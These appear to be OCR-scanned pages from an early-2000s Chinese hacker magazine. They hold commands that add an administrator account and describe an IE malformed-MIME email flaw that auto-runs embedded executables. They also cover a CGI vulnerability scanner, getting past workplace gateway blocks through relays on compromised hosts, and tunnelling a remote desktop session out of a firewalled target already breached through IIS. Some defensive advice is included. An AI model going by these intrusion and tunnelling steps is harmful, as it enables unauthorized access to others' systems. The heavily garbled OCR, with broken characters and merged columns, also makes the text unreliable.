net User test 1234567 /add

net ]ocalgroup administrators test /add

这 样 的 命令 增加 用 户 或 者 超级 用 户 权限 , 进一步

达到 和 人 侵 的 目的 。 因为 命令 比较 短小 , 因 此 攻击 者

未 必需 要 给 你 发 这 样 的 信件 , 他 可 以 在 某 个 网 页 里 加

入 自动 启动 的 方式 , 骗 你 打开 ,达到 攻击 目的 。

“错误 MIMIF 半 调 用 VBS 格式

文件

我 们 先 看 以 下 例子 :

es 一 ES

站; Coding

。 代码 位 置 ,

光 交 Ssxiangguanm

EunowEranzs

将 该 程序 编辑 存 为 一 个 Eml 格式 的 文件 , 例 如

Vpbs. eml。 我 们 运行 它 , 可 以 看 到 屏幕 弹 开 一 个 VB-

Script 窗 体 , 并 可 以 看 见 在 C:\、 下 建立 了 一 个

Deleteme. txt 文件 , 而 邮件 的 附件 中 为 Att00002. txt 的

一 字 节 为 0 的 文件 。 如 果 你 安装 了 超级 解 霸 之 类 的 软

件 , 运行 Vbs. eml 后 超级 解 霸 会 自动 执行 。 对 于 这 种

调用 VBS 文件 的 形式 , 会 有 多 大 危害 呢 ? 想 一 下 , 爱

虫 病毒 是 怎么 样 的 ?

爱 虫 病毒 还 需要 骗 你 执行 它 , 但 一 旦 和 错误

MIME 头 漏 洞 结 合 起 来 , 就 根本 不 需要 你 执行 了 , 只

要 你 收 了 这 封 信 且 阅读 它 ,你 就 中 招 了 。

从 5 月 8 日 开始 ,一 个 名 叫 VBS. happytime 的 病

毒 开始 在 网 络 流行 ,已 经 感染 了 10 多 万 台电 脑 , 而 且

还 有 进一步 扩大 的 趋势 , 但 目前 它 还 没有 和 错误 的

MIME 头 漏 洞 结合 , 一 且 好 事 者 把 两 个 关联 起 来 , 后

果 将 不 堪 设 想 。

汪 生 > 人 六

本 后 六

错误 MIME 头 信 件 自 动 热 行

.了 XE 文件

漏洞 发 现 者 给 我 们 展示 了 这 样 一 个 Exe. eml 文

件 〈 光 盘 中 附 有 )。

我 们 可 以 从 该 文件 中 看 到

Content - Transfer - Encoding: base64

Content -ID:

这 说 明 攻 击 者 可 以 采用 BASE64 编码 将 一 个 可

执行 文件 直接 附带 进来 , 不 需要 利用 本 地 文件 系统 的

已 有 文件 。 我 们 先 执行 这 个 例子 , 把 以 上 文件 源码 存

为 Exe. eml 文件 , 运 行 它 , 我 们 可 以 看 到 hello. exe 这

个 文件 自动 被 执行 ,多么 可 怕 的 事 啊 。 在 这 之 前 , 一

些 攻 击 者 想法 子 骗 被 攻击 目标 执行 修改 过 的 木马 等

后 门 程序 , 而 现在 , 一 切 都 是 自动 执行 , 惟一 的 条 件 就

是 被 攻击 目标 使 用 正 5. 0、 正 5. 01、 正 5. 5, 而 这 种 浏

览 器 的 用 户 是 目前 世界 上 最 多 的 , 稍微 有 点 人 侵 知 识

的 人 对 这 点 的 危害 是 十 分 清楚 的 。

对 于 利用 错误 MIME 头 漏 洞 执行 EXE 的 翁 瓜 式

软件 , 中 国 的 一 位 黑客 软件 设计 者 小 榕 已 经 在 他 的

网 站 提供 软件 下 载 。 对 于 不 会 编写 BASE64 编码 的

和信 侵 者 来 说 , 可 以 利用 一 些 信件 软件 , 如 Foxmail, 就

可 以 很 容易 得 到 你 想得到 的 一 些 木马 或 者 攻击 性 软

件 的 BASE64 的 编码 格式 文件 , 具 体 的 操作 方法 是 :

你 用 Foxmail 写 一 封 信 , 然 后 把 你 想得到 BASE64 编

码 的 软件 增加 到 附件 中 去 , 然 后 查看 信件 的 全 部 信

县, 这样 就 可 以 得 到 该 EXE 文件 的 BASE64 编码 格式

的 代码 。 而 实际 上 , 无 论 哪 种 方式 利用 这 漏洞 进行 攻

击 ,参照 以 上 例子 ,是 很 容易 写 出 来 的 。

我 们 了 解 人 侵 思 维 并 不 是 为 了 利用 这 些 漏洞 和

方法 去 攻击 别人 , 而 是 从 攻击 者 的 思考 方式 去 猜想 别

人 的 攻击 , 以 便 了 解 攻击 者 怎么 设 圈 套 和 利用 哪些 方

式 去 攻击 你 呢 ? 正 所 谓 知 彼 知已 , 百 战 不 列 。

(1) Outlook 或 者 Foxmail 等 工具 是 无 法 直接 编写

出 这 种 错误 的 MIME 头 信件 的 , 攻击 者 一 般 来 说 是 通

过 记事 本 这 样 的 编辑 工具 编写 错误 的 MIME 头 信件 ,

然后 利用 Email 工具 的 导 人 功能 ,再 把 信件 发 出 去 。

(2) 攻击 者 也 可 以 给 你 写 一 封 Html 格式 的 信件 ,

或 者 叫 你 前 往 某 Web 页 面 浏览 某 一 特定 的 页 面 , 在

这 页 面 里 , 攻击 者 利用 一 些 URL 转向 技术 , 迫使 你 收

到 早已 放 在 某 一 主机 上 的 错误 MIME 头 格式 的 攻击

隆 文 件 。

(3) 利用 一 些 黑客 为 这 漏洞 编写 的 特定 的 攻击 性

软件 ,如 前 面 提 到 的 小 榕 写 的 那个 Oeexample。

(4) 在 攻击 性 的 MIME 信件 中 拱 人 对 方 国家 少见

的 病毒 木马 。

(5) 攻击 者 一 定 会 修改 MIME 的 头 部 信息 ,让 被

希 也

错误 的 MIIMIE 头 漏 洞 的 防范

(1) 最 好 的 方法 是 不 要 使 用 匡 和 Outlook /Out-

look Express 浏览 和 接受 Email 信件 , 可 以 用 其 他 的 浏

览 器 Netscape、 Netants、 Wget 工具 代替 到 , 用 Foxmail

等 工具 代替 Outlook。 如 果 需 要 使 用 ,就 要 安装 微软 提

供 的 安全 补丁 , 对 于 一 般 上 网 用 户 , 可 以 通过 开始 -

Windows Update 在 线 自 动 升 级 你 的 Windows 和 焉 、

Outlook/Outlook Express。 也 可 以 到 下 面 地 址 获取 补

http: / /www. microsoft. com/windows/ie/ydown-

loadveritical/Q290108/default. asp

(2) 不 要 受 陌生 人 的 诱惑 打开 别人 给 你 的 URL,

如 果 确 实 想 看 ,可 以 通过 一 些 下 载 工具 , 把 页 面 下 载 ,

用 记事 本 等 一 些 文本 编辑 工具 打开 查看 代码 ;

(3) 在 只 能 使 用 下 浏览 器 和 资源 管理 器 的 情况

下 , 建议 禁止 “文件 下 载 ` 禁 止 以 Web 方式 使 用 资源

管理 器 、 最 大 限度 禁止 活动 内 容 特性 、 设 置 资源 管理

器 成 “始终 显示 扩展 名 ”、 永 远 不 直接 从 下 浏览 器 中

选择 打开 文件 、. 取 消 “ 下 载 后 确认 打开 ”这 种 扩展 名 属

性 设置 。 往

使 用 车 通 有

在 NT 中 的 用 户 管理 执行 的 可 以 普通 用 户 来 执

行 超级 用 户 的 命令 ,在 Unix 中 这 个 体现 的 更 加 多 。 不

过 这 个 经 常会 造成 很 多 的 安全 隐患 ,下面 劲 刀 狂 舞 来

解释 一 下 这 个 命令 。

一 般 UNIX 是 通过 asroot 命令 来 实现 这 个 操作

的 。

asroot 命令 的 语法 结构 如 下 :

/tuc/bin/yasroot/ycommand [args]

人 六 让:

command 这 里 主要 是 通过 asroot 执行 的 命令 。

args 这 里 是 command 的 选项 , 有 的 命令 需要 它 ,

而 有 的 命令 不 需要 它 。 比 如 删除 命令 rm, 一 定 要 有

args 的 参数 (删除 的 名 称 )

用 户 使 用 asroot 时 , 必须 要 得 到 相应 的 授权 。 普

通用 户 所 需要 的 授权 包括 :

1 root 一 级 系统 授权 , 具 有 这 个 授权 才能 运行 /

tcbyvfilesyrootemds/ 目 录 下 的 命令 。

2. root 子 系统 授权 的 二 级 子 系统 授权 。 二 级 子 系

j 户 过 执 行 超级 周 户 前

文 / 劲 刀 狂 大

统 授 权 的 名 字 时 说 要 使 用 的 命令 的 名 字 。 比 如 ,在 普

通 的 用 户 下 , 要 使 用 shutdown 命令 , 就 要 得 到 这 种 授

权 形 式 。

3. 核心 授权 execsuid

第 一 部 分 :告诉 普通 用 户 可 以 执行 那些 命令 。 这

个 也 是 进行 Root 子 系统 的 二 级 子 系统 授权 。

第 二 部 分 :告诉 系统 哪些 普通 用 户 可 以 执行 超级

的 命令 ,这 个 是 Root 一 级 子 系统 授权 和 核心 授权 。

第 一 部 分 配置 :

1. 是 将 命令 拷贝 到 目录 /tab/files/rootcmds 下 ,

系统 默认 的 只 有 shutdown 命令 。

2. 修改 文件 权限 , 使 得 它们 的 权限 和 文件 控制

数据 库 的 权限 相 匹配 。

3. 编辑 授权 文件 /ect/yauth/system/yauthorize, 把

要 使 用 的 命令 加 到 Root :大同 的 那 一 行 去 。

第 二 部 分 配置 :

具体 的 系统 具体 制定 。 鲁

编者 按 : 对 于 一 个 黑客 或 者 是 一 个

安全 界 人 士 来 说 ,漏洞 扫描 程序 很 重要 ,

目前 网 上 流行 的 一 些 漏 洞 扫 描 程序 大 多

数 是 用 C,C+ + 开发 的 , 也 许 有 的 VB

爱好 者 很 苦恼 , 现 在 对 于 VB 和 网 络 安

全 有 兴趣 的 读者 朋友 们 , 就 不 要 发 蕉

了 。 本 文 由 Winsock 控件 的 基本 属性 、 方

法 、 事 件 入 手 ,引导 我 们 一 步 一 步 由 浅 入

深 的 用 VB 编写 CGI 漏洞 扫描 工具 。 该

文 还 讲述 了 如 何 实现 多 线程 的 技术 。

文 / 卫 顺 盛

了 完成 连接 , 可 调用 Connection Request 事件 内 的

TCPE (Transfer Control Protocol: 和

传输 控制 协议 ) 基 础 建立 连接 后 ,任何 一方 计算 机 都 可 以 收发 数据 。

数据 控制 传输 协议 允许 创建 和 维护 与 远程 计算 为 了 发 送 数据 ,可 调用 Send Data 方法 。 当 接收 煞 据 时

机 的 连接 。 连 接 两 台 计算 机 就 可 彼此 进行 数据 传输 。 。 会 发 生 Data Arival 事件 。 调 用 Data Amival 事件 内 的

如 果 创建 客户 应 用 程序 ,就 必须 知道 服务 器 计算 机 名 Get Data 方法 就 可 获取 数据 。

或 者 卫 地 址 (Remote Host 属 性 ) ,还 要 知道 进行 “ 侦 听 ” Winsock 控件 描述

的 端口 (Remote Port 属性 ) ,然后 调用 Connect 方 法 。

如 果 创 建 服务 器 应 用 程序 ,就 应 设置 一 个 收听 端 要 创建 一 个 ogi 漏洞 扫描 程序 , 我 们 就 需要 使 用

口 (Local Port 属性 ) ,并 调用 Listen 方法 。 当 客户 计算 Winsock 控件 ,下 面 列 出 了 Winsock 控件 的 介绍 。 请 把

机 需要 连接 时 就 会 发 生 Connection Request 事件 。 为 它 看 完 ,因为 这 是 我 们 下 一 个 步骤 的 前 提 条 件 。

属 方法

ELocalHostName | 本 地 机 器 名

LocalIP | 本 地 机 器 卫 地 址

LocalPort | 本 地 机 器 通信 程序 的 端口 (0 <

端口 < 65536)

RemoteHost | 远程 机 器 名

RemotePort | 远程 机 器 的 通信 程序 端口

state | 连接 的 当前 状态

Protocal | 使 用 TCP 或 UDP 协议

事件

Listen

Listen 方法 用 于 服务 器 程序 ,等 待 客户 访问 。

格式 :Winsock 对 象 . listen

Connect

Connecet 方法 用 于 向 远程 主机 发 出 连接 请 求

格式 :Winsock 对 象 . connect [远程 主机 卫 , 远程 端口 ]

Accept

Accept 方法 用 于 接受 一 个 连接 请 求

格式 :Winsock 对 象 . accept Request ID

Senddata

Close | 远程 机 器 关闭 连接 时 触发 此 方法 用 于 发 送 数据

Connect | 连接 建立 好 , 可 以 进行 通信 时 触 格式 :Winsock 对 象 . senddata 数据

发 (客户 端 ) Getdata

ConnectRequest | 有 请 求 连接 到 达 时 产生 | 用 来 取得 接收 到 的 数据

(服务 器 端 ) 格式 :Winsock 对 象 . getdata 变 量 [, 数据 类 型 [, 最 大 长 度 ]]

DataArrival | 有 数据 到 达 时 触发

Error | 发 生 错 误 时 发 生

SendProgress | 数据 传送 进度

Close

关闭 当前 连接

格式 :Winsock 对 象 . close

sckClosed 0

SckOpen 1

SckListening 2

sckConnectionPending 3

sckResolvingHost 4

sckHostResolved 5

sckConnecting 6

sckConnected 7

sckClosing 8

已 识别 主机

正在 连接

已 连接

同 级 人 员 正 在 关闭 连接

sckError 9 错误

一 个 简单 的 实例

(1) 新 建 工 程 ,添加 Winsock 控件 。

(2) 输 入 如 下 代码 :

我 们 通过 这 一 段 很 简单 的 代码 ,

Winsock 连接 服务 器 的 过 程 。 这 个 程序 没有 用 到 其 他

的 属性 和 方法 , 旨 在 让 你 了 解 一 下 如 何 连 接 服 务 器 。

你 可 以 试 着 用 其 它 的 属性 和 方法 来 使 得 它 返 回信

玉 悉 了 一 下

LO

CGI 漏洞 扫描 器 工作 原理

首先 , 我 们 用 Winsock 连接 到 远程 服务 器 的

HTTP 服务 端口 ,接着 发 送 GET 请 求 , 这 时 ,服务 器 将

返回 这 个 文件 是 否 存在 。 如 果 不 存在 ,那么 在 返回 的

信息 里 将 包含 “HTTP 404” 的 信息 ,说 明 不 存在 该 漏

洞 。 我 们 只 需要 通过 判断 DataArrival 事件 中 得 到 的 数

据 里 有 没有 包含 HITP 404 就 可 以 了 。 在 本 程序 中 ,我

们 将 检查 Unicode 漏洞 。 我 们 可 以 通过 下 列 请 求 来 判

(1) 单 线程 算法

单线 程 算法 即 我 们 只 创建 一 个 Winsock 控件 , 利

用 这 一 个 Winsock 控件 完成 扫描 (。 这 种 方法 速度 较

慢 。 但 代码 简单 易 懂 ,适合 于 人 门 ,但 其 最 大 的 弱 扣 在

于 如 何 判断 当前 收 到 的 是 哪 一 个 命令 。 利 用 单线 程 ,

很 难得 到 确切 的 漏洞 利用 方法 。 但 却 能 判断 出 对 方 是

否 存 在 漏洞。

(2) 多 线程 算法

多 线程 算法 即 动态 创建 多 个 Winsock 控件 。 这 样

可 以 大 大 加 快 扫描 速度 , 并 且 如 果 定 义 相应 的 数组 。

比如 ,我 们 可 以 用 Load Winsock (n) 来 动态 创建 一 个

Winsock 控件 。 相 应 的 由 CGI(m) 字 符 变 量 定义 了 一 个

HTTP 请 求 , 那么 , 在 DataArrival 事件 中 , 我 们 束 可 以

通过 Index 来 判断 当前 正在 扫描 哪个 漏洞 。 比 如 :

Rs

3

让 汪 RN

2 才 居 和

rr

华 本

以 上 是 多 线程 扫描 的 一 个 例子 。 利 用 Load

Winsock(T) 创建 了 1 ~20 个 控件 , 对 应 了 1~ 20 个

CGI 请 求 。 具 体 的 例子 可 以 看 笔者 编写 的 Eastscaner

(端口 扫描 器 ) 的 源 代 码 , 里 面 就 可 以 动态 创建

Winsock 控件 。

代码 分 析

RS

通过 实例 , 我 们 可 以 看 到 双 insock 控件 是 如 何 利

用 的 。 你 可 以 扩展 本 程序 的 功能 , 比 如 增加 更 多 的

CGI 请 求 , 增添 多 个 Text 和 COMMAND 控件 , 这 样 可

以 在 运行 时 自 定义 对 方 下。 总 之 ,一 定 要 自己 动手 。 这

也 是 学 习 编程 的 最 好 方法 之 一 。

一 .其 骗 网 关上 QQ

QQ 态 朋友 之 间 在 网 络 上 感情 交流 、 技 术 交 流 的

必 备 之 品 , 少 了 它 怎 么 能 行 呢 ? 但 是 很 多 公司 通常 为

了 提高 员工 的 工作 效率 ,一般 禁 止 员工 在 工作 时 间 上

QQ。 一 是 从 行政 上 制裁 ,如 发 现 一 次 扣 xx 工资 之 类 ;

二 是 从 技术 上 封锁 , 例如 在 网 关上 做 些 限制 。 当 然 这

样 做 无 可 厚 非 。 但 是 下 了 班 之 后 ,封锁 仍然 不 会 打开 ,

这 样 就 很 不 更 了 。 这 时 候 想 要 上 QQ 那 可 就 要 自己 想

办 法 了 。

正 所 谓 知己 知 彼 , 百 战 不 殖 。 如 果 我 们 知道 网 关

是 通过 什么 技术 来 封锁 的 话 , 那么 要 突破 就 相对 容易

多 了 。 首 先 我 们 换个 角度 来 想 想 ,假如 我 们 是 网 管 ,会

怎么 样 来 实现 封锁 呢 ? QQ 用 的 是 UDP 协议 , 默认 是

用 4000 端口 与 外 界 通讯 , 那 么 我 们 在 网 关上 把 源 端

口 是 4000 的 UDP 包 丢 弃 就 可 以 实现 封闭 QQ 的 目的

了 。 怎 么 突破 ? 很 简单 的 ,我们 让 QQ 不 用 4000 端口

就 可 以 了 。 那 么 怎样 改 端口 呢 ?直接 改 的 话 很 麻烦 ,但

我 们 可 以 间接 的 改 啊 。QQ 默认 是 用 4000 端口 , 如果

4000 被 占用 的 话 ,那么 它 就 会 用 4001, 依 此 类 推 。 因

些 让 我 们 在 启动 QQ 之 前 , 先 把 UDP 4000 - 4010 端

口 都 占用 掉 , 那么 QQ 启动 的 时 候 , 就 会 顺理成章 地

使 用 4011 端口 了 。 很 简单 ,不 是 吗 ? 现在 我 们 就 来 写

个 小 程序 实现 这 个 目的 。

鉴于 篇 幅 限 制 也 为 了 读者 使 用 方便 , 程序 代码 不

在 刊 中 列 出 , 放 在 本 刊 配套 光盘 中 。

如 果 网 管 把 全 部 UDP 数据 包 都 丢弃 , 那 么 这 招

就 失灵 了 。 怎 么 办 ? 请 接着 看 下 面 的 内 容 。

渤 生

二 .通过 SOCKET 代理 上 了 了 C

通常 公司 不 但 会 封锁 QQ, 而 且 只 允许 员工 浏览

网 页 。 例 如 在 网 关上 做 限制 , 除 了 人 允许 访问 外 面 的

TCP 80 端口 , 连 接 外 面 其 他 端口 的 请 求 都 会 被 丢

弃 。 这 时 候 我 们 想 上 了 IC 去 和 朋友 们 交流 、 聊 天 的 时

候 , 就 不 能 如 愿 了 。QQ 和 IRC 可 都 是 上 网 必 备 之 品 !

那么 , 我 们 怎么 来 突破 呢 ? 答案 也 是 比较 简单

的 。 网 关 不 是 允许 我 们 访问 外 面 服务 器 的 TCP 80 端

口 吗 ? 那么 我 们 找 个 端口 是 80 的 Socket 代理 就 解决

问题 了 。 我 们 提倡 的 是 DIY(Do I Yourself) ,当然 这 也

不 是 说 什么 东西 都 要 自己 来 写 ,看 各 人 的 兴趣 了 。

复杂 的 Socket 5 代理 程序 咱 不 会 , 咱 写 个 简单 的

Socket 数据 转发 程序 还 不 行 吗 ? 程序 流程 是 这 样 的 :

我 们 找 一 台 互 联网 上 的 机 器 来 给 我 们 做 数据 转发 , 这

样 的 机 器 很 容易 找 。 根 据 习惯 , 我 们 称 这 个 为 “ 肉

鸡 ”。 假 如 “肉鸡 ” 的 卫 是 202. 202. 202. 202 , 那么 在

“肉鸡 ”上 运行 一 个 我 们 写 的 程序 TCPAgent, exe, 监听

TCP 80 端口 〈( 没 办 法 啊 , 网 关 只 允许 我 们 连接 外 面 的

80 端口 ) , 假如 这 个 端口 已 经 被 HS 占用 的 话 ,那么 就

换 一 台 没 有 启动 TS 服务 器 的 机 器 吧 , 重 用 端口 不 稳

定 。 好 的 , 局 动 IRC 客户 端 (我 以 前 喜欢 用

Cjcbot2000,, 现 在 改 用 HRC 了 ), 在 了 天 C 服务 器 栏 填

202. 202. 202. 202 这 个 地 址 , 端 口 是 80。 当 我 们 的

TCPAgent 检测 到 我 们 的 了 贡 C 客户 端 已 经 连接 后 , 马

上 创建 一 个 Socket, 连 接 到 真正 的 JIRC 服务 器

202. 109.72. 40 的 TCP 6667 端口 (这 个 下 是

irc. sunnet. org 的 卫 )。 这 样 数据 通 道 就 建 好 了 ,

HRC<====> 内 鸡 <====>JIRG Serrer,

HIRC 把 发 往 服务 器 的 数据 发 送 到 了 “肉鸡 ”, 然 后 "内

鸡 ” 把 它 转发 给 服务 器 “肉鸡 ”再 把 服务 器 的 返回 数

据 转 发 给 HIRC。

如 果 网 管 连 TCP 80 都 不 让 我 们 上 , 把 全 部 TCP

数据 包 都 在 网 关上 封杀 了 , 那 又 该 怎么 办 呢 ? 不 要 着

急 ,看 完 最 后 一 部 分 你 就 会 明白 的 。

三 .通过 TCP 和 UDP SOCKET 数

据 转 发 突破 限制

我 们 在 坎 骗 网 关上 QQ 中 提 到 一 种 情况 ,网 管 在

网 关 设 置 ,把 UDP 包 全 部 丢弃 ,限制 我 们 使 用 QQ。 这

时 候 , 我 们 要 突破 就 比较 麻烦 了 , 不 过 还 是 有 办 法 的 ,

前 提 是 允许 TCP 数据 通过 。 这 样 我 们 可 以 用 TCP 和

UDP Socket 数据 转发 来 突破 , 为 此 我 写 了 个 小 程序 来

实现 此 功能 , 程序 代码 和 注释 附 在 后 面 。 程 序 名 称 为

SuperAgent ,我 们 先 来 看 看 此 程序 的 用 法 :

此 程序 有 两 种 工作 模式 :

(D 工 作 模 式 [ - 匡 ,提供 3 个 参数 ,目标 下 地 址 、

目标 监听 的 TCP 端口 和 本 地 监听 的 UDP 端口 。

(2) 工作 模式 [ -u], 提供 4 个 参数 , 目标 卫 地

址 .目标 监 听 的 UDP 端口 .本 地 监听 的 UDP 端口 和 本

地 监听 的 TCP 端口 。

如 采 我 们 想 顺利 突破 网 关上 QQ, 就 需要 一 人 台 互

联网 上 的 肉鸡 的 协助 。 假 设 我 们 的 肉鸡 的 耳 是 202.

202. 202. 202 ,我 们 的 网 关 的 了 王 是 101. 101. 101..101,

咱 的 机 器 在 内 网 的 耳 为 192. 168. 0. 81, 腾 讯 的 QQ

服务 器 的 耳 是 202. 104. 129. 253 , 监听 的 是 UDP8000

端口 。 我 们 先 用 肉鸡 运行 SaperAgent, 如 下 :

再 启动 QQ , 把 服务 器 地 址 设置 为 127. 0. 0. 1,, 端

日 设置 为 8000, 上 线 。 怎 么 样 ?9 虽然 网 管 封杀 了 全 部

UDP 包 , 但 我 们 还 是 可 以 上 QQ 了 吧 ? 不 过 这 样 一 来

QQ 收发 信息 都 是 通过 服务 器 中 转 的 。

现在 我 来 解释 一 下 流程。

(1) 肉鸡 运行 SuperAgen. exet 后 ,监听 TCP 1234

端口 , 然 后 阻塞 , 直 到 本 地 运行 的 SuperAgent. exe 连

接 上 来 。

(2) 本 地 运行 SuperAgent. exe 后 , 监听 UDP 8000

端口 , 伪 装 成 QQ 的 服务 器 , 阻 蹇 , 直 到 QQ 连接 上

来 。

(3) QQ 请 求 上 线 , 发 送 数据 到 我 们 伪装 的 QQ

Server 127. 0. 0. 1: 8000。

(4) 本 地 运行 的 SuperAgent. exe 收 到 QQ 发 送 过

来 的 UDP 数据 后 , 连 接 到 肉鸡 监听 的 TCP 1234 端

口 。

(5) 本 地 的 SuperAgent 把 UDP 数据 通过 TCP

Socket 发 送 到 肉鸡 。

(6) 肉鸡 接收 到 本 地 发 送 来 的 TCP 数据 后 , 通过

UDP Socket 转发 到 真正 的 QQ Server。

(7) 肉鸡 接收 真正 的 QQ Server 发 送 回来 的 数据

后 ,通过 TCP Socket 发 送 到 本 地 的 TCP Socket。

(8) 本 地 的 TCP Socket 接收 到 肉鸡 发 送 过 来 的

TCP Socket 数据 后 ,通过 UDP Socket 转发 到 QQ。

(9) 重 复 5 - 8 步骤 。

数据 。 我 们 来 看 第 二 种 情况 ,封闭 所 有 TCP 数据 ,只 多

许 UDP 数据 。 这 时 候 可 能 有 人 要 问 :要 是 TCP 和 UDP

数据 都 不 让 通过 , 那 怎 么 办 ? TCP 和 UDP 全 部 禁止,

这 叫 网 关 吗 ? 不 过 如 果 ICMP 允许 的 话 , 也 可 以 用

ICMP 来 转发 。

继续 说 第 二 种 情况 的 解决 办 法 。 我 们 还 是 利用

SuperAgent 这 个 程序 来 达到 我 们 的 目的 , 当 然 少不了

一 台 互 联网 上 的 肉鸡 的 协助 了 。

我 们 先 在 本 地 运行

202. 202. 202. 202 是 肉鸡 的 卫 ,5000 是 肉鸡 监听

的 UDP 端口 , 6000 是 本 地 用 来 与 肉鸡 通讯 的 UDP 端

口 ,这 个 可 以 随便 填 。 最 后 面 那 个 6667 是 本 地 监听 的

TCP 端口 ,可 以 随便 填 , 最 后 记得 在 HIRC 设置 服务 器

里 面 填 写 6667 就 可 以 了 。

然后 我 们 在 肉鸡 上 这 样 运行 :

202. 109. 72. 40 是 irc. sunnet. org 的 了 瑟 ,6667 是

它 监听 的 TCP 端口 ,这 是 真正 的 下 C 服务 器 。5000 是

肉鸡 监听 的 UDP 端口 。

启动 HRC, 服 务 器 地 址 填 上 127. 0. 0. 1: 6667,

上 线 了 吧 ?

(1) 本 地 SuperAgent 监听 TCP 6667 端口 , 阻塞 ,

直到 HIRC 连接 上 来 。

(2) 肉鸡 SuperAgent 监听 UDP 5000 端

直到 本 地 的 SuperAgent 有 数据 发 送 过 来 。

(3) HIRC 连接 到 本 地 伪装 的 IRC Server 的

TCP6007。

(4) 本 地 SuperAgent 接收 到 HIRC 发 送 来 的 TCP

端口 , 阻塞,

数据 后 , 通 过 UDP Socket 转发 到 肉鸡 监

Socket。

(5) 肉 鸡 监听 的 UDP Socket 接收 到 本 地 发 送 过 来

的 数据 后 , 连接 到 真正 的 IRC Server 的 TCP 端口 , 然

后 通过 TCP socket 把 数据 发 送 到 IRC server。

(6) 肉鸡 接收 TRC Server 返回 的 TCP 数据 , 通过

UDP Socket 转发 到 本 地 的 UDP 。

(7) 本 地 接收 到 UDP 数据 后 , 通过 TCP socket 转

发 到 HIRC。

(8) 重复 4-7, 第 5 步 连 桂 接 到 IRC Server 的 TCP

端口 的 不 重复 。

用 TCP 和 UDP Socket 数据 转发 有 时 候 也 可 以 用

来 突破 防火 墙 。

我 们 来 看 看 这 种 情况 。 以 下 是 网 络 拓 朴 图 如 图 :

监听 的 UDP

Tirswzll

Teazmirol Savey - 3

192.468.1.2 Tarminat Sarver

攻 开 从

192.168. 0 sz.ts5.02 192168.0 x

攻击 发 起 者 内 网

支 庆生 Yorkstation

192. 168. ta 192. 168. 1.x

被 攻击 的 内 网

假设 (其实 这 样 情况 我 遇 到 过 , 但 没有 以 下 说 的

复杂 而 已 ) 202. 2. 2. 2 是 我 们 授权 和 人 侵 的 目标 , 前 面

的 FireWall 的 过 滤 规 则 是 只 允许 外 面 访 问 202. 2. 2.2

的 80, 不 允许 202. 2.2. 2TCP 连接 出 去 ,UDP 数据 包

不 做 过 滤 。 经 过 我 们 检测 , 发现 202. 2. 2. 2 的 IS 有 漏

洞 ,我 们 可 以 通过 80 执行 命令 , 而 且 打 开 了 TermSer-

vice 服务 , 登 录 验 证 漏洞 没有 补 。 但 是 由 于 有 FW 的

阻挡 , 所 以 我 们 是 连接 不 上 目标 的 TermService 来 取

得 Admin 的 权限 。 而 且 了 W 不 允许 TCP 反问 连接 ,这

样 , 我 们 只 能 通过 UDP 和 TCP Socket 数据 转发 来 达

到 目 机

次 我 们 不 需要 肉鸡 的 协助 了 , 先 在 本 机

192. 168. 0. 2 上 运行 :

文 / eyas

有 很 多 网 站 为 了 安全 起 见 , 在 Web Server 前 面 架

设 了 防火 墙 ,或 者 做 了 TCP/ 耳 过滤 ,对 外 只 开放 TCP

80 端口 。 从 和 人 侵 者 角度 来 看 ,如 果 要 入 侵 的 话 , 从 80

端口 上 运行 的 CGI 人 手 是 比较 可 行 的 , 当然 也 可 以 用

别 的 办 法 。 从 网 管 角度 来 看 , 一 是 要 保证 CGI 的 安全

性 , 另外 网 络 的 整体 安全 性 也 是 很 重要 的 。 针 对 基于

80 端口 人 侵 、 防 范 而 出 的 CGI 扫描 器 数不胜数 , 但 基

本 原理 都 一 样 。

CGI 扫描 器 原理 说 起 来 其 实 非 常 简单 , 可 以 用 4

句 话 来 概括 :

1. 连接 目标 WEB SERVER 。

2. 发 送 一 个 特殊 的 请 求 。

3 接收 目标 服务 器 返回 数据 。

. 4. 根据 返回 数据 判断 目标 服务 器 是 否 有 此 CGI

漏洞 。

当 管 理 的 服务 器 达到 一 定数 量 的 时 候 , 手工 检测

自己 的 服务 器 是 否 存在 各 种 各 样 的 CGI 漏洞 就 太 消

耗 时 间 和 精力 了 ,所 以 一 个 网 管 有 个 比较 好 用 的 CGI

漏洞 扫描 器 还 是 必要 的 。 好 , 现在 我 们 就 自己 来 动手

用 C 写 一 个 简单 的 CGI 扫描 器 ,帮助 自己 在 日 常 工作

中 检测 服务 器 。

源 代码 如 下 (很 多 地 方 我 都 加 了 注释 ,编译 好 的

程序 可 以 从 http://eyas.3322.net/programycgic

heck. exe 下 载 ):

Module: CGICheck. cpp

说 明 : 这 是 一 个 Console 下 多 线程 , 带 有 进度 显示

的 CGI 扫描 器 的 模板 ,更改 一 下 SzSign 和 SendBuff 就

可 以 扫描 其 他 CGI 漏洞 , 设 置 了 连接 、 发 送 、 接 收 超

时 ,速度 还 可 以 。 希 望 可 以 帮助 到 Admins 检测 自己 的

程序 在 VC + +6.0 上 编译 通过 ,在 Windows2000

上 运行 良好 。 ” 鱼

202. 2. 2. 2 是 目标 的 卫 ,5000 是 目标 IP 监听 的

UDP 端口 ,6000 是 本 地 监听 的 UDP 端口 , 3389 是 本

地 监听 TCP 端口 ,伪装 成 TermService, 然 后 我 们 在 目

标 上 通过 80 运行 SuperAgent. exe -t 127. 0. 0. 1 3389

5000 ,参数 就 不 用 解释 了 吧 。

工作 流程 如 下 ;

(1) 本 地 监听 TCP 3389 端口 , 阻塞 , 知道 Term-

Client 连接 上 来 。

(2) 在 目标 机 器 上 监听 UDP 5000 端口 ,阻塞 , 直

到 有 UDP 数据 发 送 过 来 。

(3) 用 TermClient 连接 本 地 的 3389。

(4) 本 地 的 SuperAgent 把 从 TermClient 接收 到 的

TCP 数据 ,通过 UDP Socket 发 送 到 目标 的 UDP。

(5) 目标 的 UDP Socket 接收 到 数据 后 , 连接 到 本

地 的 TCP 3389, 即 真正 的 TermService。

(6) 目标 把 接收 到 的 UDP 数据 通过 TCP Socket

转发 给 TernSerivice。

(7) 目标 接收 TermService 返回 的 TCP 数据 , 通过

UDP Socket 发 送 到 攻击 者 的 UDP。

(8) 本 地 的 UDP Socket 接收 到 目标 UDP 发 送 过

来 的 数据 后 ,通过 TCP Socket 转发 给 TermClient。

(9) 重 复 步骤 4, 6, 7, 8。

局 动 TermClient, 连 接 本 地 的 3389, 出 现 的 是 防

火 墙 后 面 的 目标 终端 服务 的 界面 吧 ?

SuperAgent 完整 的 C 程序 代码 如 下 , 我 加 了 很 多

注释 ,希望 对 你 有 所 帮助 。

程序 在 VC + +6.0,Windows2k 上 编译 通过 , 编

译 好 的 版 本 在 http: //eyas. 3322. net 有 下 载 。 全

2

